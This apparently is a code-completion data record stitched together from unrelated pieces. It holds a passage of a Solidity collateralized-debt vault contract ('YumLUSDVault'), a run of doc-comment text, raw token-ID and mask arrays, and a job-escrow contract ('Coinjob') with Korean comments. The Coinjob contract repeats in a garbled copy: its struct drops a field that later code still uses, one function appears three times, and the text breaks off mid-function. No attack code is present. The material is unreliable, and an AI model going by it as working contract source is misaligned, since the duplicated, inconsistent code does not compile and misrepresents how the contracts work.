amount needed to be on peg according to the oracle. uint256 public pegMinimum; constructor( IMintableERC20 _token, IMintableERC20 _xtoken, address _governance, address _sentinel ) public { require(_governance != ZERO_ADDRESS, "YumLUSDVault: governance address cannot be 0x0."); require(_sentinel != ZERO_ADDRESS, "YumLUSDVault: sentinel address cannot be 0x0."); token = _token; xtoken = _xtoken; governance = _governance; sentinel = _sentinel; flushActivator = 100000 ether;// change for non 18 digit tokens //_setupDecimals(_token.decimals()); uint256 COLL_LIMIT = MINIMUM_COLLATERALIZATION_LIMIT.mul(2); _ctx.collateralizationLimit = FixedPointMath.uq192x64(COLL_LIMIT); _ctx.accumulatedYieldWeight = FixedPointMath.uq192x64(0); } /// @dev Sets the pending governance. /// /// This function reverts if the new pending governance is the zero address or the caller is not the current /// governance. This is to prevent the contract governance being set to the zero address which would deadlock /// privileged contract functionality. /// /// @param _pendingGovernance the new pending governance. function setPendingGovernance(address _pendingGovernance) external onlyGov { require(_pendingGovernance != ZERO_ADDRESS, "YumLUSDVault: governance address cannot be 0x0."); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } /// @dev Accepts the role as governance. /// /// This function reverts if the caller is not the new pending governance. function acceptGovernance() external { require(msg.sender == pendingGovernance,"sender is not pendingGovernance"); address _pendingGovernance = pendingGovernance; governance = _pendingGovernance; emit GovernanceUpdated(_pendingGovernance); } function setSentinel(address _sentinel) external onlyGov { require(_sentinel != ZERO_ADDRESS, "YumLUSDVault: sentinel address cannot be 0x0."); sentinel = _sentinel; emit SentinelUpdated(_sentinel); } /// @dev Sets the transmuter. /// /// This function reverts if the new transmuter is the zero address or the caller is not the current governance. /// /// @param _transmuter the new transmuter. function setTransmuter(address _transmuter) external onlyGov { // Check that the transmuter address is not the zero address. Setting the transmuter to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_transmuter != ZERO_ADDRESS, "YumLUSDVault: transmuter address cannot be 0x0."); transmuter = _transmuter; emit TransmuterUpdated(_transmuter); } /// @dev Sets the flushActivator. /// /// @param _flushActivator the new flushActivator. function setFlushActivator(uint256 _flushActivator) external onlyGov { flushActivator = _flushActivator; } /// @dev Sets the rewards contract. /// /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance. /// /// @param _rewards the new rewards contract. function setRewards(address _rewards) external onlyGov { // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_rewards != ZERO_ADDRESS, "YumLUSDVault: rewards address cannot be 0x0."); rewards = _rewards; emit RewardsUpdated(_rewards); } /// @dev Sets the harvest fee. /// /// This function reverts if the caller is not the current governance. /// /// @param _harvestFee the new harvest fee. function setHarvestFee(uint256 _harvestFee) external onlyGov { // Check that the harvest fee is within the acceptable range. Setting the harvest fee greater than 100% could // potentially break internal logic when calculating the harvest fee. require(_harvestFee <= PERCENT_RESOLUTION, "YumLUSDVault: harvest fee above maximum."); harvestFee = _harvestFee; emit HarvestFeeUpdated(_harvestFee); } /// @dev Sets the collateralization limit. /// /// This function reverts if the caller is not the current governance or if the collateralization limit is outside /// of the accepted bounds. /// /// @param _limit the new collateralization limit. function setCollateralizationLimit(uint256 _limit) external onlyGov { require(_limit >= MINIMUM_COLLATERALIZATION_LIMIT, "YumLUSDVault: collateralization limit below minimum."); require(_limit <= MAXIMUM_COLLATERALIZATION_LIMIT, "YumLUSDVault: collateralization limit above maximum."); _ctx.collateralizationLimit = FixedPointMath.uq192x64(_limit); emit CollateralizationLimitUpdated(_limit); } /// @dev Set oracle. function setOracleAddress(address Oracle, uint256 peg) external onlyGov { _linkGasOracle = Oracle; pegMinimum = peg; } /// @dev Sets if the contract should enter emergency exit mode. /// /// @param _emergencyExit if the contract should enter emergency exit mode. function setEmergencyExit(bool _emergencyExit) external { require(msg.sender == governance || msg.sender == sentinel, ""); emergencyExit = _emergencyExit; emit EmergencyExitUpdated(_emergencyExit); } /// @dev Gets the collateralization limit. /// /// The collateralization limit is the minimum ratio of collateral to debt that is allowed by the system. /// /// @return the collateralization limit. function collateralizationLimit() external view returns (FixedPointMath.uq192x64 memory) { return _ctx.collateralizationLimit; } /// @dev Initializes the contract. /// /// This function checks that the transmuter and rewards have been set and sets up the active vault. /// /// @param _adapter the vault adapter of the active vault. function initialize(IVaultAdapterV2 _adapter) external onlyGov { require(!initialized, "YumLUSDVault: already initialized"); require(transmuter != ZERO_ADDRESS, "YumLUSDVault: cannot initialize transmuter address to 0x0"); require(rewards != ZERO_ADDRESS, "YumLUSDVault: cannot initialize rewards address to 0x0"); _updateActiveVault(_adapter); initialized = true; } /// @dev Migrates the system to a new vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the vault the system will migrate to. function migrate(IVaultAdapterV2 _adapter) external expectInitialized onlyGov { _updateActiveVault(_adapter); } /// @dev Harvests yield from a vault. /// /// @param _vaultId the identifier of the vault to harvest from. /// /// @return the amount of funds that were harvested from the vault. function harvest(uint256 _vaultId) external expectInitialized returns (uint256, uint256) { LiquityVaultV2.Data storage _vault = _vaults.get(_vaultId); (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(address(this)); if (_harvestedAmount > 0) { uint256 _feeAmount = _harvestedAmount.mul(harvestFee).div(PERCENT_RESOLUTION); uint256 _distributeAmount = _harvestedAmount.sub(_feeAmount); FixedPointMath.uq192x64 memory _weight = FixedPointMath.fromU256(_distributeAmount).div(totalDeposited); _ctx.accumulatedYieldWeight = _ctx.accumulatedYieldWeight.add(_weight); if (_feeAmount > 0) { token.safeTransfer(rewards, _feeAmount); } if (_distributeAmount > 0) { _distributeToTransmuter(_distributeAmount); // token.safeTransfer(transmuter, _distributeAmount); previous version call } } emit FundsHarvested(_harvestedAmount, _decreasedValue); return (_harvestedAmount, _decreasedValue); } /// @dev Recalls an amount of deposited funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function recall(uint256 _vaultId, uint256 _amount) external nonReentrant expectInitialized returns (uint256, uint256) { return _recallFunds(_vaultId, _amount); } /// @dev Recalls all the deposited funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function recallAll(uint256 _vaultId) external nonReentrant expectInitialized returns (uint256, uint256) { LiquityVaultV2.Data storage _vault = _vaults.get(_vaultId); return _recallFunds(_vaultId, _vault.totalDeposited); } /// @dev Flushes buffered tokens to the active vault. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @return the amount of tokens flushed to the active vault. function flush() external nonReentrant expectInitialized returns (uint256) { // Prevent flushing to the active vault when an emergency exit is enabled to prevent potential loss of funds if // the active vault is poisoned for any reason. require(!emergencyExit, "emergency pause enabled"); return flushActiveVault(); } /// @dev Internal function to flush buffered tokens to the active vault. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @return the amount of tokens flushed to the active vault. function flushActiveVault() internal returns (uint256) { LiquityVaultV2.Data storage _activeVault = _vaults.last(); uint256 _depositedAmount = _activeVault.depositAll(); emit FundsFlushed(_depositedAmount); return _depositedAmount; } /// @dev Deposits collateral into a CDP. /// /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of /// additional funds. /// /// @param _amount the amount of collateral to deposit. function deposit(uint256 _amount) external nonReentrant noContractAllowed expectInitialized { require(!emergencyExit, "emergency pause enabled"); CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); token.safeTransferFrom(msg.sender, address(this), _amount); if(_amount >= flushActivator) { flushActiveVault(); } totalDeposited = totalDeposited.add(_amount); _cdp.totalDeposited = _cdp.totalDeposited.add(_amount); _cdp.lastDeposit = block.number; emit TokensDeposited(msg.sender, _amount); } /// @dev Attempts to withdraw part of a CDP's collateral. /// /// This function reverts if a deposit into the CDP was made in the same block. This is to prevent flash loan attacks /// on other internal or external systems. /// /// @param _amount the amount of collateral to withdraw. function withdraw(uint256 _amount) external nonReentrant noContractAllowed expectInitialized returns (uint256, uint256) { CDP.Data storage _cdp = _cdps[msg.sender]; require(block.number > _cdp.lastDeposit, ""); _cdp.update(_ctx); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(msg.sender, _amount); _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, "Exceeds withdrawable amount"); _cdp.checkHealth(_ctx, "Action blocked: unhealthy collateralization ratio"); emit TokensWithdrawn(msg.sender, _amount, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Repays debt with the native and or synthetic token. /// /// An approval is required to transfer native tokens to the transmuter. function repay(uint256 _parentAmount, uint256 _childAmount) external nonReentrant noContractAllowed onLinkCheck expectInitialized { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); if (_parentAmount > 0) { token.safeTransferFrom(msg.sender, address(this), _parentAmount); _distributeToTransmuter(_parentAmount); } if (_childAmount > 0) { xtoken.burnFrom(msg.sender, _childAmount); //lower debt cause burn xtoken.lowerHasMinted(_childAmount); } uint256 _totalAmount = _parentAmount.add(_childAmount); _cdp.totalDebt = _cdp.totalDebt.sub(_totalAmount, ""); emit TokensRepaid(msg.sender, _parentAmount, _childAmount); } /// @dev Attempts to liquidate part of a CDP's collateral to pay back its debt. /// /// @param _amount the amount of collateral to attempt to liquidate. function liquidate(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized returns (uint256, uint256) { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); // don't attempt to liquidate more than is possible if(_amount > _cdp.totalDebt){ _amount = _cdp.totalDebt; } (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(address(this), _amount); //changed to new transmuter compatibillity _distributeToTransmuter(_withdrawnAmount); _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, ""); _cdp.totalDebt = _cdp.totalDebt.sub(_withdrawnAmount, ""); emit TokensLiquidated(msg.sender, _amount, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Mints synthetic tokens by either claiming credit or increasing the debt. /// /// Claiming credit will take priority over increasing the debt. /// /// This function reverts if the debt is increased and the CDP health check fails. /// /// @param _amount the amount of alchemic tokens to borrow. function mint(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); uint256 _totalCredit = _cdp.totalCredit; if (_totalCredit < _amount) { uint256 _remainingAmount = _amount.sub(_totalCredit); _cdp.totalDebt = _cdp.totalDebt.add(_remainingAmount); _cdp.totalCredit = 0; _cdp.checkHealth(_ctx, "YumLUSDVault: Loan-to-value ratio breached"); } else { _cdp.totalCredit = _totalCredit.sub(_amount); } xtoken.mint(msg.sender, _amount); } /// @dev Gets the number of vaults in the vault list. /// /// @return the vault count. function vaultCount() external view returns (uint256) { return _vaults.length(); } /// @dev Get the adapter of a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the vault adapter. function getVaultAdapter(uint256 _vaultId) external view returns (IVaultAdapterV2) { LiquityVaultV2.Data storage _vault = _vaults.get(_vaultId); return _vault.adapter; } /// @dev Get the total amount of the parent asset that has been deposited into a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the total amount of deposited tokens. function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) { LiquityVaultV2.Data storage _vault = _vaults.get(_vaultId); return _vault.totalDeposited; } /// @dev Get the total amount of collateral deposited into a CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the deposited amount of tokens. function getCdpTotalDeposited(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.totalDeposited; } /// @dev Get the total amount of alchemic tokens borrowed from a CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the borrowed amount of tokens. function getCdpTotalDebt(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.getUpdatedTotalDebt(_ctx); } /// @dev Get the total amount of credit that a CDP has. /// /// @param _account the user account of the CDP to query. /// /// @return the amount of credit. function getCdpTotalCredit(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.getUpdatedTotalCredit(_ctx); } /// @dev Gets the last recorded block of when a user made a deposit into their CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the block number of the last deposit. function getCdpLastDeposit(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.lastDeposit; } /// @dev sends tokens to the transmuter /// /// benefit of great nation of transmuter function _distributeToTransmuter(uint256 amount) internal { token.approve(transmuter,amount); ITransmuter(transmuter).distribute(address(this),amount); // lower debt cause of 'burn' xtoken.lowerHasMinted(amount); } /// @dev Checks that parent token is on peg. /// /// This is used over a modifier limit of pegged interactions. modifier onLinkCheck() { if(pegMinimum > 0 ){ uint256 oracleAnswer = uint256(IChainlink(_linkGasOracle).latestAnswer()); require(oracleAnswer > pegMinimum, "off peg limitation"); } _; } /// @dev Checks that caller is not a eoa. /// /// This is used to prevent contracts from interacting. modifier noContractAllowed() { require(!address(msg.sender).isContract() && msg.sender == tx.origin, "Sorry we do not accept contract!"); _; } /// @dev Checks that the contract is in an initialized state. /// /// This is used over a modifier to reduce the size of the contract modifier expectInitialized() { require(initialized, "YumLUSDVault: not initialized."); _; } /// @dev Checks that the current message sender or caller is a specific address. /// /// @param _expectedCaller the expected caller. function _expectCaller(address _expectedCaller) internal { require(msg.sender == _expectedCaller, ""); } /// @dev Checks that the current message sender or caller is the governance address. /// /// modifier onlyGov() { require(msg.sender == governance, "YumLUSDVault: only governance."); _; } /// @dev Updates the active vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the new active vault. function _updateActiveVault(IVaultAdapterV2 _adapter) internal { require(_adapter != IVaultAdapterV2(ZERO_ADDRESS), "YumLUSDVault: active vault address cannot be 0x0."); require(_adapter.token() == token, "YumLUSDVault: token mismatch."); _vaults.push(LiquityVaultV2.Data({ adapter: _adapter, totalDeposited: 0 })); emit ActiveVaultUpdated(_adapter); } /// @dev Recalls an amount of funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// @param _amount the amount of funds to recall from the vault. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function _recallFunds(uint256 _vaultId, uint256 _amount) internal returns (uint256, uint256) { require(emergencyExit || msg.sender == governance || _vaultId != _vaults.lastIndex(), "YumLUSDVault: not an emergency, not governance, and user does not have permission to recall funds from active vault"); LiquityVaultV2.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount, false); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Attempts to withdraw funds from the active vault to the recipient. /// /// Funds will be first withdrawn from this contracts balance and then from the active vault. This function /// is different from `recallFunds` in that it reduces the total amount of deposited tokens by the decreased /// value of the vault. /// /// @param _recipient the account to withdraw the funds to. /// @param _amount the amount of funds to withdraw. function _withdrawFundsTo(address _recipient, uint256 _amount) internal returns (uint256, uint256) { // Pull the funds from the buffer. uint256 _bufferedAmount = Math.min(_amount, token.balanceOf(address(this))); if (_recipient != address(this)) { token.safeTransfer(_recipient, _bufferedAmount); } uint256 _totalWithdrawn = _bufferedAmount; uint256 _totalDecreasedValue = _bufferedAmount; uint256 _remainingAmount = _amount.sub(_bufferedAmount); // Pull the remaining funds from the active vault. if (_remainingAmount > 0) { LiquityVaultV2.Data storage _activeVault = _vaults.last(); (uint256 _withdrawAmount, uint256 _decreasedValue) = _activeVault.withdraw( _recipient, _remainingAmount, false ); _totalWithdrawn = _totalWithdrawn.add(_withdrawAmount); _totalDecreasedValue = _totalDecreasedValue.add(_decreasedValue); } totalDeposited = totalDeposited.sub(_totalDecreasedValue); return (_totalWithdrawn, _totalDecreasedValue); } }
@dev Resolution for all fixed point numeric parameters which represent percents. The resolution allows for a granularity of 0.01% increments. @dev The minimum value that the collateralization limit can be set to by the governance. This is a safety rail to prevent the collateralization from being set to a value which breaks the system. This value is equal to 100%. IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the resolution for the FixedPointMath library changes this constant must change as well. @dev The maximum value that the collateralization limit can be set to by the governance. This is a safety rail to prevent the collateralization from being set to a value which breaks the system. This value is equal to 400%. IMPORTANT: This constant is a raw FixedPointMath.uq192x64 value and assumes a resolution of 64 bits. If the resolution for the FixedPointMath library changes this constant must change as well. @dev The token that this contract is using as the parent asset. @dev The token that this contract is using as the child asset. @dev The address of the account which currently has administrative capabilities over this contract. @dev The address of the pending governance. @dev The address of the account which can initiate an emergency withdraw of funds in a vault. @dev The address of the contract which will transmute synthetic tokens back into native tokens. @dev The address of the contract which will receive fees. @dev The percent of each profitable harvest that will go to the rewards contract. @dev The total amount the native token deposited into the system that is owned by external users. @dev when movemetns are bigger than this number flush is activated. @dev A flag indicating if the contract has been initialized yet. @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall from the active vault. @dev The context shared between the CDPs. @dev A mapping of all of the user CDPs. If a user wishes to have multiple CDPs they will have to either create a new address or set up a proxy contract that interfaces with this contract. @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for deposits and withdraws. Vaults before the last element are considered inactive and are expected to be cleared. @dev The address of the link oracle. @dev The minimum returned amount needed to be on peg according to the oracle._setupDecimals(_token.decimals());
{ require(_governance != ZERO_ADDRESS, "YumLUSDVault: governance address cannot be 0x0."); require(_sentinel != ZERO_ADDRESS, "YumLUSDVault: sentinel address cannot be 0x0."); token = _token; xtoken = _xtoken; governance = _governance; sentinel = _sentinel; uint256 COLL_LIMIT = MINIMUM_COLLATERALIZATION_LIMIT.mul(2); _ctx.collateralizationLimit = FixedPointMath.uq192x64(COLL_LIMIT); _ctx.accumulatedYieldWeight = FixedPointMath.uq192x64(0); }
2,027,722
[ 1, 11098, 364, 777, 5499, 1634, 6389, 1472, 1492, 2406, 5551, 87, 18, 1021, 7861, 5360, 364, 279, 25380, 434, 374, 18, 1611, 9, 17071, 18, 225, 1021, 5224, 460, 716, 326, 4508, 2045, 287, 1588, 1800, 848, 506, 444, 358, 635, 326, 314, 1643, 82, 1359, 18, 1220, 353, 279, 24179, 767, 330, 358, 5309, 326, 4508, 2045, 287, 1588, 628, 3832, 444, 358, 279, 460, 1492, 16217, 326, 2619, 18, 1220, 460, 353, 3959, 358, 2130, 9, 18, 21840, 6856, 30, 1220, 5381, 353, 279, 1831, 15038, 2148, 10477, 18, 89, 85, 15561, 92, 1105, 460, 471, 13041, 279, 7861, 434, 5178, 4125, 18, 971, 326, 5411, 7861, 364, 326, 15038, 2148, 10477, 5313, 3478, 333, 5381, 1297, 2549, 487, 5492, 18, 225, 1021, 4207, 460, 716, 326, 4508, 2045, 287, 1588, 1800, 848, 506, 444, 358, 635, 326, 314, 1643, 82, 1359, 18, 1220, 353, 279, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 225, 288, 203, 565, 2583, 24899, 75, 1643, 82, 1359, 480, 18449, 67, 15140, 16, 315, 61, 379, 48, 3378, 40, 12003, 30, 314, 1643, 82, 1359, 1758, 2780, 506, 374, 92, 20, 1199, 1769, 203, 565, 2583, 24899, 7569, 12927, 480, 18449, 67, 15140, 16, 315, 61, 379, 48, 3378, 40, 12003, 30, 20285, 1758, 2780, 506, 374, 92, 20, 1199, 1769, 203, 203, 565, 1147, 273, 389, 2316, 31, 203, 565, 619, 2316, 273, 389, 92, 2316, 31, 203, 565, 314, 1643, 82, 1359, 273, 389, 75, 1643, 82, 1359, 31, 203, 565, 20285, 273, 389, 7569, 12927, 31, 203, 203, 565, 2254, 5034, 5597, 48, 67, 8283, 273, 6989, 18605, 67, 4935, 12190, 654, 1013, 25084, 67, 8283, 18, 16411, 12, 22, 1769, 203, 565, 389, 5900, 18, 12910, 2045, 287, 1588, 3039, 273, 15038, 2148, 10477, 18, 89, 85, 15561, 92, 1105, 12, 4935, 48, 67, 8283, 1769, 203, 565, 389, 5900, 18, 8981, 5283, 690, 16348, 6544, 273, 15038, 2148, 10477, 18, 89, 85, 15561, 92, 1105, 12, 20, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; contract Coinjob { enum status {open, finish, workerDone} // open = 구인중 // finish = 일의 종료 // workerDone = 수락자가 일을 끝내고 대기중 // bossDone = 일의 제안자가 일의 취소를 원함 (일을 수락한 자가 있을 때) // workerDone 과 bossDone은 Job의 accepted가 true 일때만 상태로서 있을 수 있다. struct Job { uint256 id; address writer; string title; string content; uint256 deadline; uint256 reward; uint256 dontdisturb; bool accepted; address accepter; string contact; // 수락자와 컨택할수 있는 무언가 (오픈카톡?) status stat; } Job[] public job; event jobRefresh(); // uint256 public postContract = 0.05 ether; uint256 public DoNotDisturb = 0.01 ether; // 계약의 최소비용을 잘 조절해야 한다. // 계약 파기 등으로 우리가 돈을 반환할 때 손해를 볼 수 있기 때문. // 수수료 비율 또한 잘 조절해야 한다. // uint256 Coinjob_ether = 0; uint256 public fee_numerator = 10; uint256 public fee_denominator = 100; address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } constructor() { owner = msg.sender; } function adjustPostContract(uint256 value) public onlyOwner { postContract = value; } function adjustDoNotDisturb(uint256 value) public onlyOwner { DoNotDisturb = value; } function adjustFee(uint256 numerator, uint256 denominator) public onlyOwner { fee_numerator = numerator; fee_denominator = denominator; } function viewBalance() public view onlyOwner returns (uint256 b, uint256 o) { b = address(this).balance; o = owner.balance; } function ownerMoney(uint256 value) public onlyOwner { payable(owner).transfer(value); } function paying(address addr, uint256 value) private { payable(addr).transfer( (value * (fee_denominator - fee_numerator)) / fee_denominator ); } function publishJob( string memory _title, string memory _content, uint256 _dontdisturb, uint256 _deadline ) public payable { // dontdisturb 단위는 ether require(msg.value >= postContract, "Job Reward is too cheap"); require(_dontdisturb >= DoNotDisturb, "DoNotDisturb is too cheap"); uint256 deadline = block.timestamp + _deadline; Job memory newJob = Job( job.length, msg.sender, _title, _content, deadline, msg.value, _dontdisturb, false, msg.sender, "", status.open ); job.push(newJob); emit jobRefresh(); } function allJob() public view returns (Job[] memory) { return job; } function acceptJob(uint256 _number, string memory _contact) public payable { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender != _thisjob.writer, "You Can't Co-Work with Yourself" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); require(!_thisjob.accepted, "Job In Progress"); require( msg.value == _thisjob.dontdisturb, "You Should Pay to show you are not scammer ( your money will payback after job is done )" ); _thisjob.accepter = msg.sender; _thisjob.accepted = true; _thisjob.contact = _contact; emit jobRefresh(); } function workDone(uint256 _number) public { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender == _thisjob.accepter, "You Are Not the Member of Job. Please Check your Wallet Address" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); if (_thisjob.stat == status.open) { _thisjob.stat = status.workerDone; } else{ _thisjob.stat = status.open; } emit jobRefresh(); } function finishJob(uint256 _number) public { Job storage _thisjob = job[_number]; require( _thisjob.stat == status.workerDone, "Worker doesn't finised job or Already finished job" ); require( msg.sender == _thisjob.writer, "Only Writer can finish the job" ); _thisjob.stat = status.finish; paying(_thisjob.accepter, (_thisjob.reward + _thisjob.dontdisturb)); emit jobRefresh(); } function giveupJob(uint256 _number) public { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender == _thisjob.accepter, "You Are Not the Member of Job. Please Check your Wallet Address" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); if (msg.sender == _thisjob.writer) { require( !_thisjob.accepted, "You Can not Close Your Job while Someone is Working for you" ); _thisjob.stat = status.finish; paying(_thisjob.writer, _thisjob.reward); } else { require( _thisjob.accepted, "Job Is Not Started. So There is no way to give up" ); _thisjob.accepted = false; _thisjob.contact = ""; paying(_thisjob.accepter, _thisjob.dontdisturb); _thisjob.accepter = _thisjob.writer; } emit jobRefresh(); } function getPaginatedSquares(uint256 _page, uint256 _resultsPerPage) public view returns (Job[] memory) { uint256 _jobIndex = _resultsPerPage * _page - _resultsPerPage; if (job.length == 0 || _jobIndex > job.length - 1) { return new Job[](0); } uint256 _size = _resultsPerPage; if (_page * _resultsPerPage > job.length) { _size = job.length % _resultsPerPage; } Job[] memory _jobs = new Job[](_size); uint256 _returnCounter = 0; for (_jobIndex; _jobIndex < _resultsPerPage * _page; _jobIndex++) { if (_jobIndex < job.length) { _jobs[_returnCounter] = job[_jobIndex]; } else { break; } _returnCounter++; } return _jobs; } }
open = 구인중 finish = 일의 종료 workerDone = 수락자가 일을 끝내고 대기중 bossDone = 일의 제안자가 일의 취소를 원함 (일을 수락한 자가 있을 때) workerDone 과 bossDone은 Job의 accepted가 true 일때만 상태로서 있을 수 있다.
contract Coinjob { enum status {open, finish, workerDone} struct Job { uint256 id; address writer; string title; string content; uint256 deadline; uint256 reward; uint256 dontdisturb; bool accepted; address accepter; status stat; } Job[] public job; event jobRefresh(); uint256 public DoNotDisturb = 0.01 ether; uint256 Coinjob_ether = 0; uint256 public fee_numerator = 10; uint256 public fee_denominator = 100; address public owner; uint256 public postContract = 0.05 ether; modifier onlyOwner() { require(msg.sender == owner); _; } constructor() { owner = msg.sender; } function adjustPostContract(uint256 value) public onlyOwner { postContract = value; } function adjustDoNotDisturb(uint256 value) public onlyOwner { DoNotDisturb = value; } function adjustFee(uint256 numerator, uint256 denominator) public onlyOwner { fee_numerator = numerator; fee_denominator = denominator; } function viewBalance() public view onlyOwner returns (uint256 b, uint256 o) { b = address(this).balance; o = owner.balance; } function ownerMoney(uint256 value) public onlyOwner { payable(owner).transfer(value); } function paying(address addr, uint256 value) private { payable(addr).transfer( (value * (fee_denominator - fee_numerator)) / fee_denominator ); } function publishJob( string memory _title, string memory _content, uint256 _dontdisturb, uint256 _deadline ) public payable { require(msg.value >= postContract, "Job Reward is too cheap"); require(_dontdisturb >= DoNotDisturb, "DoNotDisturb is too cheap"); uint256 deadline = block.timestamp + _deadline; Job memory newJob = Job( job.length, msg.sender, _title, _content, deadline, msg.value, _dontdisturb, false, msg.sender, "", status.open ); job.push(newJob); emit jobRefresh(); } function allJob() public view returns (Job[] memory) { return job; } function acceptJob(uint256 _number, string memory _contact) public payable { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender != _thisjob.writer, "You Can't Co-Work with Yourself" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); require(!_thisjob.accepted, "Job In Progress"); require( msg.value == _thisjob.dontdisturb, "You Should Pay to show you are not scammer ( your money will payback after job is done )" ); _thisjob.accepter = msg.sender; _thisjob.accepted = true; _thisjob.contact = _contact; emit jobRefresh(); } function workDone(uint256 _number) public { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender == _thisjob.accepter, "You Are Not the Member of Job. Please Check your Wallet Address" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); if (_thisjob.stat == status.open) { _thisjob.stat = status.workerDone; } else{ _thisjob.stat = status.open; } emit jobRefresh(); } function workDone(uint256 _number) public { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender == _thisjob.accepter, "You Are Not the Member of Job. Please Check your Wallet Address" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); if (_thisjob.stat == status.open) { _thisjob.stat = status.workerDone; } else{ _thisjob.stat = status.open; } emit jobRefresh(); } function workDone(uint256 _number) public { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender == _thisjob.accepter, "You Are Not the Member of Job. Please Check your Wallet Address" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); if (_thisjob.stat == status.open) { _thisjob.stat = status.workerDone; } else{ 